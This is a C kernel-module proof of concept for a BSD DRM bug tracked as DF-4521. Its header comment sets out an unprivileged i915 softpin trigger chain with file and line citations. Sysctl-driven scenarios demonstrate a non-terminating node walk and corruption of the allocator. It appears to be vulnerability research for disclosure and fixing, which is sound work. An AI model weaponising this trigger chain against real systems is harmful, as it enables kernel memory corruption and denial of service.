DF-4521 / dfmm_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 | /* * DF-4521 PoC โ drm_mm_for_each_node_in_range yields the unallocated * head_node sentinel into the caller's loop body and never terminates * when `end` > mm end. * * Trigger chain (all paths cited against this tree): * - unprivileged execbuf2 with EXEC_OBJECT_PINNED at offset = * vm->total - obj_size (softpin; accepted on any gen: * i915_gem_execbuffer.c:461-463 only checks alignment/canonical form; * i915_gem_execbuffer.c:614-615 turns it into PIN_OFFSET_FIXED) * - i915_vma_pin(PIN_OFFSET_FIXED) -> i915_gem_gtt_reserve() * (i915_gem_gtt.c:3949-3975) with node ending exactly at vm->total * - drm_mm_reserve_node() returns -ENOSPC when the range is occupied * - i915_gem_evict_for_node() (i915_gem_evict.c:277): * check_color = vm->mm.color_adjust (set on !HAS_LLC && * !USES_PPGTT platforms, i915_gem_gtt.c:3638-3639) * end += I915_GTT_PAGE_SIZE (i915_gem_evict.c:296) * => end == vm->total + 4K > head_node.start == vm->total * - drm_mm_for_each_node_in_range (drm_mm.h:499-502) then: * (a) walks past the last real node onto &mm->head_node * (allocated=false, color=0) โ the caller body does * vma = container_of(node, i915_vma, node) on kernel-owned memory * (b) wraps back to the first node and never terminates * * This kld embeds the REAL sys/dev/drm/drm_mm.c and the REAL * drm_mm_for_each_node_in_range macro and drives them with the exact * parameters i915 would use. Scenario "run" proves (a)+(b) with a capped * iteration count. Scenario "corrupt" performs what i915_vma_unbind() * would do with the yielded sentinel (i915_vma.c:687-695: * GEM_BUG_ON is a no-op in release builds, then * drm_mm_remove_node(&vma->node) == drm_mm_remove_node(&mm->head_node)) * to demonstrate the resulting allocator corruption. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/sysctl.h> #include <drm/drm_mm.h> /* * drm_mm.c:52 references this extern (defined in drm_drv.c inside drm.ko, * not loaded on this guest) โ provide a local definition so the kld links. * Same for the linux rbtree shim's RB_GENERATE functions (normally in * sys/dev/drm/linux_compat.c, also part of drm.ko). */ int drm_vma_debug; RB_GENERATE(linux_root, rb_node, __entry, panic_cmp); int panic_cmp(struct rb_node *one, struct rb_node *two) { panic("panic_cmp"); /* NOTREACHED */ return (0); } /* * drm_printf() lives in drm_print.c inside drm.ko (not loaded); provide a * minimal console implementation so drm_mm.c (drm_mm_print) links. */ void drm_printf(struct drm_printer *p, const char *f, ...) { __va_list ap; __va_start(ap, f); kvprintf(f, ap); __va_end(ap); } #define GGTT_TOTAL (1ULL << 32) /* typical 4GiB GGTT */ #define PAGE_4K 4096ULL static struct drm_mm mm; static int run_evict_for_node_walk(u64 target_start, u64 target_size, int check_color, int cap, int *visited, int *head_yielded, int *non_terminating) { struct drm_mm_node *node; u64 start = target_start; u64 end = target_start + target_size; int n = 0; *visited = 0; *head_yielded = 0; *non_terminating = 0; /* verbatim i915_gem_evict.c:292-296 */ if (check_color) { if (start) start -= PAGE_4K; end += PAGE_4K; } kprintf("[dfmm] walk [%llx, %llx) on mm [0, %llx), mm end = %llx\n", (unsigned long long)start, (unsigned long long)end, (unsigned long long)GGTT_TOTAL, (unsigned long long)GGTT_TOTAL); /* verbatim i915_gem_evict.c:314 */ drm_mm_for_each_node_in_range(node, &mm, start, end) { n++; kprintf("[dfmm] visit %d: start=%llx size=%llx " "allocated=%d color=%lu%s\n", n, (unsigned long long)node->start, (unsigned long long)node->size, (int)node->allocated, (unsigned long)node->color, node == &mm.head_node ? " <== HEAD SENTINEL" : ""); if (node == &mm.head_node) *head_yielded = 1; if (n >= cap) { *non_terminating = 1; /* same nodes repeat forever */ break; } /* * The real body container_of()s this node into an i915_vma * and pins/lists/unbinds it. NOT executed here. */ } *visited = n; return 0; } static int dfmm_setup(void) { static struct drm_mm_node top, mid; int ret; drm_mm_init(&mm, 0, GGTT_TOTAL); /* an existing vma parked at the very top of the GGTT */ top.start = GGTT_TOTAL - PAGE_4K; top.size = PAGE_4K; ret = drm_mm_reserve_node(&mm, &top); kprintf("[dfmm] reserved top node [%llx + %llx] -> %d\n", (unsigned long long)top.start, (unsigned long long)top.size, ret); if (ret) return ret; /* an unrelated low vma (so the wrap-around is observable) */ mid.start = 0x10000000; mid.size = PAGE_4K; ret = drm_mm_reserve_node(&mm, &mid); kprintf("[dfmm] reserved mid node [%llx + %llx] -> %d\n", (unsigned long long)mid.start, (unsigned long long)mid.size, ret); return ret; } static int dfmm_run(void) { int visited = 0, head = 0, loop = 0; kprintf("[dfmm] === scenario: evict_for_node top-of-GTT walk ===\n"); if (dfmm_setup()) return EINVAL; /* attacker softpin overlapping the top node, ending at vm.total */ run_evict_for_node_walk(GGTT_TOTAL - PAGE_4K, PAGE_4K, 1 /* check_color */, 8, &visited, &head, &loop); kprintf("[dfmm] RESULT: visited=%d head_sentinel_yielded=%d " "non_terminating=%d\n", visited, head, loop); return 0; } static int dfmm_corrupt(void) { kprintf("[dfmm] === scenario: what i915_vma_unbind does with the " "yielded sentinel ===\n"); if (dfmm_setup()) return EINVAL; kprintf("[dfmm] calling drm_mm_remove_node(&mm.head_node) " "(== i915_vma.c:695 on the container_of'ed sentinel)\n"); drm_mm_remove_node(&mm.head_node); kprintf("[dfmm] survived remove of sentinel; probing corrupted state\n"); /* Probe 1: range query over the *mid* node's own range โ if the * interval tree was wiped, the walk yields nothing but the sentinel. */ { int visited = 0, head = 0, loop = 0; kprintf("[dfmm] probe: walk the mid node's own range " "[10000000, 10001000)\n"); run_evict_for_node_walk(0x10000000, PAGE_4K, 0 /* no +4K expansion */, 6, &visited, &head, &loop); kprintf("[dfmm] probe result: visited=%d head_sentinel=%d " "(mid node %s)\n", visited, head, head && visited <= 2 ? "INVISIBLE: interval tree wiped" : "still visible"); } /* Probe 2: does the allocator still hand out space while blind? * (overlapping allocations become possible once nodes are invisible * to reserve/evict range checks) */ { static struct drm_mm_node again; int ret = drm_mm_insert_node(&mm, &again, PAGE_4K); kprintf("[dfmm] probe: insert_node(4K) after corruption -> %d " "(start=%llx size=%llx)\n", ret, (unsigned long long)again.start, (unsigned long long)again.size); } /* Probe 3: dump the hole list โ expect the bogus size-underflowed * hole created by add_hole(prev_node) in drm_mm_remove_node(). */ { struct drm_mm_node *pos; u64 hs, he; kprintf("[dfmm] probe: hole stack after corruption\n"); drm_mm_for_each_hole(pos, &mm, hs, he) { kprintf("[dfmm] hole [%llx, %llx) size=%llx%s\n", (unsigned long long)hs, (unsigned long long)he, (unsigned long long)(he - hs), (hs > he) ? " <== SIZE UNDERFLOW (bogus)" : ""); } } return 0; } static int sysctl_dfmm(SYSCTL_HANDLER_ARGS, int (*fn)(void)) { int error, t = 0; error = sysctl_handle_int(oidp, &t, 0, req); if (error || req->newptr == NULL) return error; if (t != 1) return EINVAL; fn(); return 0; } static int sysctl_dfmm_run(SYSCTL_HANDLER_ARGS) { return sysctl_dfmm(oidp, arg1, arg2, req, dfmm_run); } static int sysctl_dfmm_corrupt(SYSCTL_HANDLER_ARGS) { return sysctl_dfmm(oidp, arg1, arg2, req, dfmm_corrupt); } SYSCTL_NODE(_dev, OID_AUTO, dfmm, CTLFLAG_RW, 0, "dfmm poc"); SYSCTL_PROC(_dev_dfmm, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW, 0, 0, sysctl_dfmm_run, "I", "trigger sentinel-walk scenario"); SYSCTL_PROC(_dev_dfmm, OID_AUTO, corrupt, CTLTYPE_INT | CTLFLAG_RW, 0, 0, sysctl_dfmm_corrupt, "I", "trigger sentinel-remove scenario"); static int dfmm_poc_modevent(module_t mod __unused, int type, void *data __unused) { switch (type) { case MOD_LOAD: kprintf("[dfmm] dfmm_poc loaded\n"); return 0; case MOD_UNLOAD: kprintf("[dfmm] dfmm_poc unloaded\n"); return 0; default: return 0; } } static moduledata_t dfmm_poc_mod = { "dfmm_poc", dfmm_poc_modevent, NULL }; DECLARE_MODULE(dfmm_poc, dfmm_poc_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); |